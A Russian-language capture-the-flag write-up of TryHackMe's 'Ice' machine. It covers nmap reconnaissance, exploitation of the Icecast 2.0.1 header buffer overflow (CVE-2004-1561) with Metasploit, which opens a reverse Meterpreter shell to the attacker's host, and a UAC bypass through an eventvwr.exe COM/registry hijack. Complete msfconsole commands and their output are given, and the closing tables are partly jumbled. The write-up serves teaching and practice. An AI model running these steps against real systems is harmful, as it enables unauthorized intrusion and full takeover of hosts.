
Полная компрометация машины Ice от TryHackMe — Icecast 2.0.1 RCE (CVE-2004-1561) через переполнение буфера, за которым следует повышение привилегий в Windows через обход UAC / перехват COM. Включает детальную методологию и исправление.
Платформа: TryHackMe Целевая ОС: Windows 7 / Windows Server 2008 R2 Сложность: Легкая Категория: Переполнение буфера (RCE), локальное повышение привилегий
Этот отчет документирует полную компрометацию машины Ice на TryHackMe, от начальной разведки до повышения привилегий до уровня SYSTEM. Цель представляет устаревший стриминговый медиа-сервер Icecast 2.0.1, уязвимый для удаленного переполнения буфера (CVE-2004-1561), которое позволяет выполнить произвольный код через специально сформированные HTTP-заголовки. Начальный доступ был получен как пользователь с низкими привилегиями через обратную оболочку Meterpreter. Затем было достигнуто повышение привилегий до NT AUTHORITY\SYSTEM путем эксплуатации уязвимости перехвата COM-объекта Windows (bypassuac_eventvwr), которая использует автоматически повышающие привилегии бинарники и перенаправление ключей реестра в HKCU.
| Этап | Техника | Результат |
|---|---|---|
| Разведка | arp-scan, nmap | Обнаружен хост и 7 открытых портов |
| Начальный доступ | Переполнение буфера HTTP-заголовка Icecast (CVE-2004-1561) | Сессия Meterpreter как локальный пользователь |
| Повышение привилегий | bypassuac_eventvwr (перехват COM/реестра) | Оболочка SYSTEM |
ARP-сканирование использовалось для определения IP-адреса цели в локальной сети.
arp-scan -l

Цель определена как 192.168.37.138.
Полное SYN-сканирование с определением сервисов и версий было выполнено против цели:
nmap -sS -sV 192.168.37.138
Результаты:
Хост идентифицирован как DARK-PC, Windows-машина. Порт 8000 с запущенным Icecast выделялся как наиболее перспективная поверхность атаки — это не стандартный сервис Windows, и он известен историческими CVE.
Поиск известных уязвимостей Icecast выявил CVE-2004-1561:
Переполнение буфера в Icecast 2.0.1 и более ранних версиях позволяет удаленным злоумышленникам выполнять произвольный код с помощью HTTP-запроса с большим количеством заголовков.
Был подтвержден соответствующий модуль Metasploit:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 не выполняет должную проверку границ для количества обрабатываемых HTTP-заголовков. Отправляя больше заголовков, чем может вместить буфер сервера, избыточные данные переполняют соседнюю память, перезаписывая данные за пределами зарезервированного буфера для разбора заголовков.
В частности, переполнение повреждает сохраненный обратный адрес (EIP) в стеке — адрес, на который ЦП возвращается после завершения функции, обрабатывающей запрос. Контролируя этот адрес, атакующий может перенаправить выполнение на предоставленный атакующим шелл-код вместо легитимной точки возврата, что приводит к выполнению произвольного кода в контексте процесса Icecast.
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
Была установлена сессия Meterpreter как пользователь с низкими привилегиями.
С активной сессией был использован встроенный suggester Metasploit для определения возможных путей локального повышения привилегий с учетом уровня патчей цели:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

Несколько модулей были отмечены как вероятно применимые, включая bypassuac_eventvwr, который нацелен на необновленные Windows 7 / Server 2008 R2.
Этот путь повышения привилегий злоупотребляет архитектурой COM (Component Object Model) Windows, которая позволяет компонентам, написанным на разных языках, взаимодействовать. COM-объекты обычно полагаются на общие DLL, и система определяет, какую DLL загружать для данного COM-объекта, через пути в реестре — включая пути, хранящиеся в ветке текущего пользователя HKCU.
eventvwr.exe — это автоматически повышающий привилегии бинарник Windows (он молча инициирует запрос повышения UAC, не показывая самого окна, благодаря своим настройкам манифеста при стандартных конфигурациях UAC). При запуске он запрашивает HKCU для разрешения COM-объекта и загрузки его связанной DLL.
Эксплойт перехватывает этот поиск: он записывает вредоносный ключ реестра в ветку HKCU текущего пользователя, указывая разрешение COM на нагрузку, контролируемую атакующим, вместо легитимной системной DLL. Поскольку eventvwr.exe автоматически повышает привилегии, нагрузка, которую он запускает — в данном случае командная оболочка, — выполняется с уровнем целостности, до которого повышается eventvwr.exe, повышая сессию от обычного пользователя до контекста с более высокими привилегиями, без отображения видимого запроса UAC.
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
Была открыта вторая сессия Meterpreter с повышенной оболочкой, напрямую помещенная в C:\Windows\system32, что подтверждает повышение привилегий.
| # | Уязвимость | Серьезность |
|---|
eventvwr.exe было исправлено в более поздних сборках Windows; эта атака не работает против полностью обновленных современных версий Windows.arp-scan, nmap — разведкаMetasploit Framework (msfconsole) — эксплуатация и пост-эксплуатацияMeterpreter — пост-эксплуатационная оболочка| Порт | Сервис | Версия |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (рабочая группа: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Стриминговый медиа-сервер Icecast |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| CVE / Ссылка |
|---|
| 1 | Переполнение буфера HTTP-заголовка Icecast 2.0.1, приводящее к удаленному выполнению кода | Критический | CVE-2004-1561 |
| 2 | Обход UAC через перехват COM/реестра (автоповышение eventvwr.exe) | Высокий | Известная слабость конструкции UAC Windows 7/Server 2008 R2 |